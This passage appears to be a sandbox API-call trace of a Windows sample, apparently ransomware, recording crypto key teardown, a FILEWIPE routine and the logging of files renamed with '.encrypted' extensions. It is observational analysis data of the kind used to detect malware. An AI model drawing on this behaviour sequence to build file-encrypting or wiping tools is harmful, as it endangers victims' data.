wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.836] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.838] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.838] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.838] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.838] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.840] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.840] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.841] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.841] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.841] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.841] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.841] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.841] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.842] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.842] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.842] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.842] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.848] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.848] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.848] CharLowerBuffW (in: lpsz="byte[44325]", cchLength=0xb | out: lpsz="byte[44325]") returned 0xb [0027.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.855] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.856] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.856] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.856] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.856] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.857] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.857] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.873] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.873] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.873] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7993) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.874] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1f39, lpOverlapped=0x0) returned 1 [0027.874] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1f39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.874] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7993) returned 1 [0027.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\8CQp5FitOql93wNVq8aP.encrypted.bmp\r\n", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0027.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\8CQp5FitOql93wNVq8aP.encrypted.bmp\r\n", cchWideChar=72, lpMultiByteStr=0xe8f40514f0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\8CQp5FitOql93wNVq8aP.encrypted.bmp\r\n", lpUsedDefaultChar=0x0) returned 72 [0027.874] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4069770*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069770*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x47, lpOverlapped=0x0) returned 1 [0027.874] CloseHandle (hObject=0x188) returned 1 [0027.875] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.875] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.875] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.875] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.875] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.875] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.876] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.876] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.877] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178700, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.877] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.877] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 